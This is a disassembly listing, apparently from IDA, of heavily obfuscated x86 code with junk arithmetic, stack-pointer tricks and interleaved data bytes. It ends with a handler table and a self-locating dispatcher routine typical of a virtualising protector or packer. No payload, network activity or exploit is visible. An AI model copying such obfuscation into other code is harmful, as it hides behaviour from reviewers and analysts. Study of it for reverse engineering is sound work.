loc_59838B:				; CODE XREF: sdfs____:00596AB1j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58DE27
; ---------------------------------------------------------------------------


loc_598397:				; CODE XREF: sdfs____:005931BFj
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_592DF7
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FFC354E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5983AD:				; CODE XREF: sdfs____:0058E34Cj
		sub	eax, 9C3CA91Bh
		mov	esi, eax
		pop	eax
		add	esi, 93D9A659h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_5914E6
; ---------------------------------------------------------------------------


loc_5983C6:				; CODE XREF: sdfs____:0059348Bj
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		jmp	loc_5922D4
; ---------------------------------------------------------------------------


loc_5983D3:				; CODE XREF: sdfs____:0059154Bj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_597924
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 25F58104h, 51193940h, 0B0F99B9h, 81D9F700h, 86689AE1h
		dd 23BE560Bh, 29A03BCBh, 0CD015EF1h, 5DEF0159h,	31243C33h
		dd 3C33243Ch, 0F7E95C24h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598413:				; CODE XREF: sdfs____:00594758j
		pop	ebp
		add	edi, 5B391689h
		jmp	loc_58FE47
; ---------------------------------------------------------------------------


loc_59841F:				; CODE XREF: sdfs____:00591325j
		push	ebx
		mov	ebx, 6C1340B6h
		jmp	loc_58C734
; ---------------------------------------------------------------------------


loc_59842A:				; CODE XREF: sdfs____:0058C090j
		add	esp, 4
		or	eax, eax
		jz	loc_593ADA
		push	dword ptr [edi+1Ch]
		push	ecx
		push	ebp
		mov	ebp, 543318E3h
		xor	ebp, 4F01556Fh
		mov	ecx, ebp
		pop	ebp
		xor	[esp+4], ecx
		jmp	loc_598DBF
; ---------------------------------------------------------------------------
aIchx		db '‰æh•$',0
		dw 8900h
		dd 0B9512404h, 360F3D71h, 13C98149h, 4908ED58h,	3FAE8B0Fh
		dd 62E9FFFFh, 89FFFFAAh, 86E9243Ch
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59847F:				; CODE XREF: sdfs____:0058DC25j
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edx
		jmp	loc_5966EA
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 6FA565D5h, 91B6F581h, 0EA016C6Eh, 0E9D7895Dh, 0FFFF9C61h
; ---------------------------------------------------------------------------


loc_5984C0:				; CODE XREF: sdfs____:00593574j
		neg	edx
		jp	loc_59209F
		push	esi
		mov	esi, 8A87D96h
		shr	esi, 4
		jmp	loc_58D79E
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 0FB572A22h, 555FF829h, 0FF944FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5984E5:				; CODE XREF: sdfs____:005945A8j
		xchg	esi, [esp]
		jmp	loc_58F75F
; ---------------------------------------------------------------------------


loc_5984ED:				; CODE XREF: sdfs____:00593AEEj
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 5F71701Ch
		add	ebp, ecx
		sub	ebp, 5F71701Ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_598534:				; CODE XREF: sdfs____:0059477Bj
		pop	ebx
		jmp	loc_58BB40
; ---------------------------------------------------------------------------


loc_59853A:				; CODE XREF: sdfs____:0058FEFEj
		jmp	loc_590AA7
; ---------------------------------------------------------------------------


loc_59853F:				; CODE XREF: sdfs____:00591213j
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		rep movsd
		jmp	loc_592646
; ---------------------------------------------------------------------------


loc_598557:				; CODE XREF: sdfs____:0059567Ej
		add	dword ptr [esp], 4
		jmp	loc_5977EC
; ---------------------------------------------------------------------------
		dd 0DD10E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598566:				; CODE XREF: sdfs____:00593B93j
		shr	edi, 8
		neg	edi
		and	edi, 3A6266E4h
		dec	edi
		shl	edi, 7
		jmp	loc_59703B
; ---------------------------------------------------------------------------


loc_59857A:				; CODE XREF: sdfs____:005940E8j
		dec	esi
		shl	esi, 8
		add	esi, 84D8D287h
		or	ecx, esi
		pop	esi
		not	ecx
		push	3B42h
		mov	[esp], ebp
		mov	ebp, 6F127BA1h
		add	ecx, ebp
		pop	ebp
		mov	edx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_5985AE:				; CODE XREF: sdfs____:005937E7j
					; sdfs____:00596DBEj
		push	ebx
		push	edi
		jmp	loc_58E099
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0Eh
		dd 81785F60h, 8009C4C6h, 0E9F10105h, 0FFFFD53Bh, 2BA52h
		dd 61E90000h, 81FFFF89h, 0B84581E2h, 0D2F28123h, 0F58381Dh
		dd 0FFFEDB82h, 0FDAF7FFh, 0FFCC448Ah, 96BE56FFh, 0C108A87Dh
		dd 0EE8104EEh, 15022C4Bh, 3E50CE81h, 0C6810865h, 3C8554F9h
		dd 665FC681h, 46E95A9Bh, 0F7FFFFA4h, 9ABF57D5h,	81090530h
		dd 6103E5EFh, 6249E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598626:				; CODE XREF: sdfs____:0059689Aj
		push	esi
		jmp	loc_58F145
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFB192h, 81E78957h, 4C7h, 0E9525500h
		dd 0FFFF5948h
; ---------------------------------------------------------------------------


loc_598644:				; CODE XREF: sdfs____:0058FE37j
		pop	esp
		mov	[esp], esi
		push	3281h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ecx
		jmp	loc_58F60C
; ---------------------------------------------------------------------------


loc_598664:				; CODE XREF: sdfs____:00595B8Bj
		bts	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_59866F:				; CODE XREF: sdfs____:005978FCj
		mov	esi, 22720765h
		sub	esi, 0E358FD24h
		mov	ebp, esi
		jmp	loc_597AC9
; ---------------------------------------------------------------------------


loc_598681:				; CODE XREF: sdfs____:00590E2Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5962E1
; ---------------------------------------------------------------------------
		db 51h
		dd 0DE2096B9h, 82E98114h, 837ECF74h, 2C8904ECh,	9D53BD24h
		dd 0E931C45Ch, 59CB895Dh, 3E82B850h, 22E971F2h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5986B7:				; CODE XREF: sdfs____:00592FD1j
		mov	[esp], edi
		push	ebx
		mov	ebx, 483C5D96h
		jmp	loc_592241
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0FFD096E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5986CD:				; CODE XREF: sdfs____:00593DFEj
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		std
		sub	esp, 4
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 410C78B8h
		jmp	loc_5962EB
; ---------------------------------------------------------------------------


loc_5986FF:				; CODE XREF: sdfs____:00597582j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_598AC2
; ---------------------------------------------------------------------------
		dd 0EB35A4BBh, 0A0BE564Ch, 294CEB35h, 5C015EF3h, 34FF0424h
		dd 0C4815B24h, 4, 0FFE254E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59872D:				; CODE XREF: sdfs____:00594506j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 4C281h, 55E90000h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59873F:				; CODE XREF: sdfs____:005956D9j
		pop	cx
		add	bl, 62h
		sub	bl, dl
		sub	bl, 62h
		pop	edx
		push	ecx
		mov	cl, 0C0h
		dec	cl
		add	cl, 8Eh
		add	bl, cl
		pop	ecx
		add	bl, al
		jmp	loc_5946CE
; ---------------------------------------------------------------------------


loc_59875C:				; CODE XREF: sdfs____:0058BD76j
		add	esp, 4
		shr	ecx, 0Bh
		push	24CAh
		mov	[esp], ebp
		mov	ebp, ebx
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_595678
; ---------------------------------------------------------------------------
		db 5Eh
		dd 348BF229h, 4C48324h,	0E9241433h, 0FFFFC1B3h
; ---------------------------------------------------------------------------


loc_59878C:				; CODE XREF: sdfs____:005955EFj
		mov	esi, 2226625Fh
		sub	esi, 30535F84h
		jnp	loc_58D7E2
		xor	esi, 1C6A70E6h
		jns	loc_591317
		not	esi
		push	ebx
		mov	ebx, 1
		jmp	loc_5907B1
; ---------------------------------------------------------------------------


loc_5987B6:				; CODE XREF: sdfs____:0058DD05j
		push	edi
		jmp	loc_58DE01
; ---------------------------------------------------------------------------


loc_5987BC:				; CODE XREF: sdfs____:0058BF08j
		push	ebp
		push	edi
		jmp	loc_58DE3B
; ---------------------------------------------------------------------------
		db 58h
		dd 805BFE88h, 5FE91FEEh, 0FFFFC4h, 65E95AF0h, 0FFFFFFDEh
		dd 61E91C77h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5987DF:				; CODE XREF: sdfs____:0058C00Fj
		push	esi
		push	edi
		jmp	loc_59632C
; ---------------------------------------------------------------------------


loc_5987E6:				; CODE XREF: sdfs____:0059464Aj
		mov	dx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	edi
		jmp	loc_5924B5
; ---------------------------------------------------------------------------


loc_5987F3:				; CODE XREF: sdfs____:0058D62Bj
					; sdfs____:0058E7B9j
		jo	loc_591170
		sub	esi, 3FF73F73h
		mov	ecx, esi
		jmp	loc_58BD2F
; ---------------------------------------------------------------------------


loc_598806:				; CODE XREF: sdfs____:0059148Cj
		add	ebx, eax
		push	esi
		jmp	loc_593D71
; ---------------------------------------------------------------------------


loc_59880E:				; CODE XREF: sdfs____:0058EA14j
		mov	esi, 40h
		and	ecx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_597EE2
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 6624248Bh, 51240C8Bh, 0EC815954h, 4,	0BA241489h, 6F9F3028h
		dd 5506E2C1h, 0E71624BDh, 7179E94Dh, 0C781FFFFh, 4, 8704C783h
		dd 15C243Ch, 6AE95EF0h,	0E9FFFF95h, 0FFFF3161h,	8904EC83h
		dd 1BF243Ch, 8911E811h,	340AE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598876:				; CODE XREF: sdfs____:0059330Bj
		pop	eax
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_59517B
; ---------------------------------------------------------------------------
		dw 0C180h
		dd 7AC18044h, 4F08800Fh, 0B753FFFFh, 393EE93Dh,	0C7C6FFFFh
		db 56h
; ---------------------------------------------------------------------------


loc_598899:				; CODE XREF: sdfs____:00591EC7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	esi
		mov	esi, 2C221FFEh
		xor	[esp+4], esi
		jmp	loc_590E10
; ---------------------------------------------------------------------------


loc_5988B7:				; CODE XREF: sdfs____:00598BDFj
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	5CE0h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, 452D3B86h
		add	eax, ebx
		sub	eax, 452D3B86h
		pop	ebx
		jmp	loc_593255
; ---------------------------------------------------------------------------


loc_5988E7:				; CODE XREF: sdfs____:0059452Bj
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5926E5
; ---------------------------------------------------------------------------
		db 1
		dd 34FF5EF5h, 0C4835824h, 2ED8104h, 33000000h, 2C31242Ch
		dd 242C3324h, 6624248Bh, 0E9240C89h, 0FFFF30A9h
; ---------------------------------------------------------------------------


loc_59891C:				; CODE XREF: sdfs____:00592CA4j
		push	esp
		pop	ebx
		push	edi
		mov	edi, 23A97841h
		shr	edi, 2
		sub	edi, 1F9E0BA5h
		not	edi
		dec	edi
		jmp	loc_58ED65
; ---------------------------------------------------------------------------


loc_598935:				; CODE XREF: sdfs____:005937D2j
					; sdfs____:00597DA4j
		mov	[esp], edx
		mov	edx, 572A3DC2h
		or	edx, 37E53F36h
		jbe	loc_591309
		sub	edx, 0F82EF890h
		mov	[edi+20h], edx
		jmp	loc_5915B1
; ---------------------------------------------------------------------------


loc_598957:				; CODE XREF: sdfs____:00593D1Cj
		add	esp, 4
		jmp	loc_595B55
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0E953D830h, 0FFFF50C7h, 4EB81h, 0FF530000h, 5B042474h
		dd 0E924048Fh, 0FFFF5C88h
; ---------------------------------------------------------------------------


loc_59897C:				; CODE XREF: sdfs____:0058C60Ej
		inc	esi
		dec	esi
		add	esi, 45E310ACh
		jmp	loc_5919FA
; ---------------------------------------------------------------------------


loc_598989:				; CODE XREF: sdfs____:00592E0Aj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		jmp	loc_596405
; ---------------------------------------------------------------------------
		db 0BDh, 46h, 32h
		dd 0E9093B6Ch, 0D70DE95Dh, 166FFFFh, 66022444h,	48F6658h
		dd 4686624h, 1C896672h,	2BB6624h, 66536600h, 667680BBh
		dd 4245C29h, 241C8B66h,	6602C483h, 2246C81h, 1663B59h
		dd 6602245Ch, 2244481h,	81663B59h, 80022444h, 1C8B6676h
		dd 2C48124h, 0E9000000h, 0FFFF2FCDh, 0B9240C89h, 0FFD207B0h
		dd 159CD29h, 0A58EE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598A0A:				; CODE XREF: sdfs____:0058ED40j
		push	eax
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		jmp	loc_595683
; ---------------------------------------------------------------------------


loc_598A18:				; CODE XREF: sdfs____:0058EC41j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58F123
; ---------------------------------------------------------------------------


loc_598A21:				; CODE XREF: sdfs____:0059229Aj
		push	ebp
		jmp	loc_58E2AC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 87000000h, 2D5C240Ch, 200523AAh, 60E9E0D1h
		dd 0E9FFFF8Dh, 0FFFF2F7Dh
; ---------------------------------------------------------------------------


loc_598A48:				; CODE XREF: sdfs____:0058CC35j
		pop	ebp
		sub	ebx, 0A2A587C3h
		sub	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_58BAA9
; ---------------------------------------------------------------------------
		dd 0DDE9DEF7h, 81FFFF3Fh, 31108AC2h, 33BD5517h,	0E94C1E77h
		dd 0FFFF66F8h
; ---------------------------------------------------------------------------


loc_598A70:				; CODE XREF: sdfs____:0059763Ej
		mov	[esp], eax
		mov	eax, 57F6211Fh
		neg	eax
		push	ebp
		mov	ebp, 3D384D56h
		push	84Ah
		mov	[esp], ebx
		mov	ebx, 70473548h
		dec	ebx
		shr	ebx, 6
		not	ebx
		push	esi
		mov	esi, 3F574D88h
		add	ebx, esi
		jmp	loc_5905F0
; ---------------------------------------------------------------------------


loc_598AA0:				; CODE XREF: sdfs____:0058FDBEj
		mov	cl, bl
		push	ebx
		mov	bh, cl
		jmp	loc_59132A
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 241C875Ah, 0FF752AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598AB5:				; CODE XREF: sdfs____:005965B7j
		sub	ebp, 0B7C44CC9h
		mov	esi, ebp
		jmp	loc_58D2C6
; ---------------------------------------------------------------------------


loc_598AC2:				; CODE XREF: sdfs____:00598707j
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58DE69
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 815E5424h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 0B1B9240Ch
		db 4Ah,	12h, 0Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_591344
; ---------------------------------------------------------------------------


loc_598B07:				; CODE XREF: sdfs____:005982B0j
		lodsw
		xor	ax, bx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_593CCC
; ---------------------------------------------------------------------------


loc_598B17:				; CODE XREF: sdfs____:00595E0Bj
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		jmp	loc_593AC6
; ---------------------------------------------------------------------------


loc_598B25:				; CODE XREF: sdfs____:00597425j
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		push	edx
		mov	edx, 40B67851h
		jmp	loc_595AEA
; ---------------------------------------------------------------------------


loc_598B36:				; CODE XREF: sdfs____:0058C7D5j
		sub	eax, 300E6FBDh
		jmp	loc_593B75
; ---------------------------------------------------------------------------


loc_598B40:				; CODE XREF: sdfs____:0059122Bj
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		shl	edx, 6
		or	edx, 660110B6h
		jmp	loc_59093A
; ---------------------------------------------------------------------------
		dd 5624048Bh, 39DD68h, 48F5400h, 0EBA2E924h, 5558FFFFh
		dd 0FFC703E9h, 2EB81FFh, 0E9000000h, 0FFFFA399h, 89240489h
		dd 8593E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598B82:				; CODE XREF: sdfs____:0059225Dj
		push	eax
		jmp	loc_595709
; ---------------------------------------------------------------------------


loc_598B88:				; CODE XREF: sdfs____:0058F632j
		push	edx
		mov	edx, 78BC7A31h
		mov	edi, 2AA315h
		add	edi, edx
		pop	edx
		jmp	loc_590EEA
; ---------------------------------------------------------------------------


loc_598B9B:				; CODE XREF: sdfs____:0058D47Aj
		pop	ebx
		add	edi, 4
		jmp	loc_58D064
; ---------------------------------------------------------------------------


loc_598BA4:				; CODE XREF: sdfs____:005951A0j
		mov	ebx, esp
		jmp	loc_597466
; ---------------------------------------------------------------------------


loc_598BAB:				; CODE XREF: sdfs____:0058F35Cj
		add	ecx, esi
		pop	esi
		jmp	loc_58EEEC
; ---------------------------------------------------------------------------


loc_598BB3:				; CODE XREF: sdfs____:00590479j
		jmp	loc_59326F
; ---------------------------------------------------------------------------


loc_598BB8:				; CODE XREF: sdfs____:0058BBFAj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, 3376EA9h
		sub	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5988B7
; ---------------------------------------------------------------------------
		dd 0EC52CCBAh, 0E165E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598BEE:				; CODE XREF: sdfs____:00596864j
		and	ebp, 1D68143Ah
		push	ecx
		mov	ecx, 1F5946BCh
		add	ecx, 313C22BFh
		jmp	loc_593969
; ---------------------------------------------------------------------------


loc_598C05:				; CODE XREF: sdfs____:005943D7j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	cx, [esp]
		push	4DEEh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	esi
		push	edi
		mov	edi, 651D2A1Ah
		sub	edi, 3E1DAEF9h
		mov	esi, edi
		pop	edi
		jmp	loc_597162
; ---------------------------------------------------------------------------


loc_598C41:				; CODE XREF: sdfs____:00597F19j
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	esp, 4
		xor	[esp], eax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_598C57:				; CODE XREF: sdfs____:005922C7j
		pop	edi
		add	edx, 4B4A54CBh
		sub	edx, 28C15CCEh
		sub	edx, eax
		push	ebp
		mov	ebp, 28C15CCEh
		add	edx, ebp
		pop	ebp
		sub	edx, 4B4A54CBh
		sub	esp, 4
		jmp	loc_595B3D
; ---------------------------------------------------------------------------


loc_598C7D:				; CODE XREF: sdfs____:00596E0Fj
		push	eax
		mov	eax, 4BA254FDh
		mov	ebx, 4BA254F9h
		xor	ebx, eax
		pop	eax
		jmp	loc_58E03F
; ---------------------------------------------------------------------------


loc_598C90:				; CODE XREF: sdfs____:00598067j
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_591081
; ---------------------------------------------------------------------------


loc_598CB3:				; CODE XREF: sdfs____:0058F7ECj
		mov	eax, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_591A98
; ---------------------------------------------------------------------------


loc_598CC1:				; CODE XREF: sdfs____:005936B1j
		pop	edx
		push	ebx
		jmp	loc_59066B
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 4875C24h,	0EAE95C24h, 66FFFF2Ch
		dd 0B1B050h, 0E95866C3h, 0FFFF5838h, 4BA52h, 0EB810000h
		dd 167F3047h, 0C381D301h, 167F3047h, 7FBD555Ah,	811ADA33h
		dd 600CD5CDh, 67CDE920h, 0F029FFFFh, 8324348Bh,	0D0F704C4h
		dd 0F07E0C1h, 0FFCCAE88h, 4208E9FFh, 0C083FFFFh, 0ADC2C604h
		dd 5579BE56h, 0E6C10A6Dh, 38840F03h, 81FFFF4Dh,	0AF3419CEh
		dd 21C6815Eh, 29DC24A6h, 0E3C15EF3h, 0DF38108h,	0E9FEE3B1h
		dd 0FFFFB6C6h
; ---------------------------------------------------------------------------


loc_598D58:				; CODE XREF: sdfs____:loc_58FE42j
		dec	al
		jmp	loc_5955BE
; ---------------------------------------------------------------------------


loc_598D5F:				; CODE XREF: sdfs____:00591042j
		push	esi
		mov	esi, 31476557h
		jmp	loc_591E1F
; ---------------------------------------------------------------------------
		dw 555Ah
		dd 27E95D54h, 83FFFFC0h, 233504C4h, 0E94D8769h,	0FFFFDD36h
		dd 89243C89h, 4BB53E7h,	0E9000000h, 0FFFFACA0h,	405E089h
		dd 81000000h, 4ECh, 240C8900h, 6C3BB53h, 0C7B96BAFh, 316BAF06h
		dd 241C8BD9h, 4A68E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598DB6:				; CODE XREF: sdfs____:0058EB33j
		sub	bl, 60h
		push	edx
		jmp	loc_592133
; ---------------------------------------------------------------------------


loc_598DBF:				; CODE XREF: sdfs____:0059844Fj
		pop	ecx
		jmp	loc_58EACA
; ---------------------------------------------------------------------------
		db 5Bh,	0FEh, 0CDh
		dd 2843C580h, 3BF5E9E8h, 0F66FFFFh, 5166C8B6h, 8692E99Ch
		dd 10E9FFFFh, 0E9FFFF38h, 0FFFFB2AEh, 1105h, 5F4E58h, 0F86F3DBAh
		dd 12FF4Ch, 0FA7D4800h,	7C90EB94h, 5F5A11h, 217h, 2, 1
		dd 3, 0F86F3DBAh, 5 dup(0)
		dd offset byte_59DC43
		dd offset aMh2t		; "¬h2T"
		dd offset byte_5A92B7
		dd offset byte_5AF993
		dd offset byte_5A727D
		dd offset byte_59EFDD
		dd offset byte_5AC927
		dd offset word_5AA95E
		dd offset word_5A005A
		dd offset byte_59D7AB
		dd offset byte_5A3261
		dd offset byte_59AE39
		dd offset byte_5A9B1D
		dd offset byte_599739
		dd offset byte_5AE72D
		dd offset byte_5A4F29
		dd offset dword_5A94C4
		dd offset word_59B196
		dd offset word_5AB762
		dd offset word_59AA62
		dd offset byte_5AA329
		dd offset word_5AD51E
		dd offset dword_5A3AE4
		dd offset dword_5A5330
		dd offset aMsi		; "¬éë\b"
		dd offset word_5A253A
		dd offset word_5B0266
		dd offset byte_5A75B9
		dd offset byte_5A157F
		dd offset byte_5A59A9
		dd offset loc_59F2D1
		dd offset dword_5AA83C
		dd offset dword_59CDA4
		dd offset byte_5A041B
		dd offset dword_5A26E8
		dd offset word_5AF3AA
		dd offset dword_5AF420
		dd offset word_5AAE7E
		dd offset word_5AB42A
		dd offset byte_5A0DF9
		dd offset word_5AD65E
		dd offset dword_5AD7D4
		dd offset byte_5ACBCF
		dd offset byte_5A5B27
		dd offset dword_5A16B8
		dd offset word_5A119E
		dd offset dword_599574
		dd offset loc_5A5648
		dd offset byte_5AE643
		dd offset word_5A0AA2
		dd offset dword_5B02C0
		dd offset dword_5A4DFC
		dd offset word_59F336
		dd offset dword_5AC478
		dd offset aN1HI		; "­1ØhÇi"
		dd offset byte_5A809B
		dd offset byte_5AB593
		dd offset byte_5ABC2F
		dd offset dword_5AA504
		dd offset dword_5A1024
		dd offset loc_599360
		dd offset byte_5A600D
		dd offset byte_5B0377
		dd offset byte_5AB5A9
		dd offset byte_5A4D9D
		dd offset dword_5A4E04
		dd offset byte_5A8829
		dd offset word_5A7562
		dd offset aMspfqSriusC	; "¬SPfQµÝSRˆîé<—"
		dd offset byte_5ABD41
		dd offset dword_5AA5E0
		dd offset dword_59C3CC
		dd offset byte_5ADAE7
		dd offset word_5A1726
		dd offset byte_5A0879
		dd offset loc_5AD015
		dd offset byte_5AFD37
		dd offset word_599CD6
		dd offset byte_5A355D
		dd offset dword_59B2E4
		dd offset byte_599A6F
		dd offset byte_5AB08D
		dd offset loc_5A21FF
		dd offset word_59BA1E
		dd offset byte_5AB7CD
		dd offset byte_5998AD
		dd offset byte_599859
		dd offset byte_59B3C9
		dd offset byte_5AD213
		dd offset byte_5AE4A9
		dd offset dword_59A9B4
		dd offset byte_5A80B3
		dd offset byte_59BAD3
		dd offset dword_5AC1D8
		dd offset word_59D18A
		dd offset byte_5AF8FF
		dd offset byte_59AFE7
		dd offset word_5A4B1E
		dd offset dword_5A0BA8
		dd offset word_59B22E
		dd offset word_59A516
		dd offset dword_5A5968
		dd offset word_5AB622
		dd offset word_59D37E
		dd offset loc_5A522E
		dd offset byte_5A54C9
		dd offset byte_59BB73
		dd offset dword_59A4E8
		dd offset byte_5A0599
		dd offset loc_5A5735
		dd offset word_5A8B3E
		dd offset word_5AD336
		dd offset dword_5A1F28
		dd offset aFlSV		; "f‹$$é~V"
		dd offset byte_5A10E3
		dd offset loc_59D4FD
		dd offset byte_5A60F3
		dd offset word_5A2AFE
		dd offset word_59961A
		dd offset word_5AB782
		dd offset loc_5A85E0
		dd offset word_5AE9FA
		dd offset byte_59A3A9
		dd offset word_59A672
		dd offset dword_5A30C0
		dd offset byte_5AF907
		dd offset dword_5AF39C
		dd offset word_5A585A
		dd offset byte_5AB393
		dd offset byte_5AB521
		dd offset byte_5A20EB
		dd offset byte_59A7A7
		dd offset word_59C0A2
		dd offset dword_5A75F4
		dd offset aMfhEsS	; "¬fh²Eé%s"
		dd offset loc_59AB23
		dd offset byte_59CE13
		dd offset byte_5A66E1
		dd offset dword_5A2F58
		dd offset aUsmb		; "UéMB"
		dd offset word_5AAF7A
		dd offset word_59DD36
		dd offset byte_5A8101
		dd offset byte_59F0E3
		dd offset word_5AE6B6
		dd offset byte_5A9799
		dd offset byte_5ABB65
		dd offset byte_5A7A2B
		dd offset byte_5A687B
		dd offset dword_5AF294
		dd offset dword_59ACD0
		dd offset aMh		; "¬h·\a"
		dd offset byte_5A7BEB
		dd offset dword_5A311C
		dd offset byte_5A65D3
		dd offset aNsqs		; "­éïé"
		dd offset word_5A3D52
		dd offset word_5ACF92
		dd offset aMsZ		; "¬é½Z"
		dd offset aNssg		; "­é˜£"
		dd offset word_5A7302
		dd offset word_5ADA96
		dd offset aMsqg		; "¬éï£"
		dd offset byte_5995D1
		dd offset byte_5A63A9
		dd offset dword_5AF444
		dd offset byte_5AA08F
; ---------------------------------------------------------------------------


loc_5990C8:				; CODE XREF: sdfs____:005DE0FBj
					; sdfs____:005F5983j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7EA5316h
		mov	eax, edi
		add	edi, 7EA502Eh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5990E6
		jmp	short loc_5990F9
; ---------------------------------------------------------------------------


loc_5990E6:				; CODE XREF: sdfs____:005990E2j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5990F5
; ---------------------------------------------------------------------------


loc_5990F0:				; CODE XREF: sdfs____:005990F7j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5990F5:				; CODE XREF: sdfs____:005990EEj
		or	ecx, ecx
		jnz	short loc_5990F0


loc_5990F9:				; CODE XREF: sdfs____:005990E4j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_599106:				; CODE XREF: sdfs____:0059910Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_599106


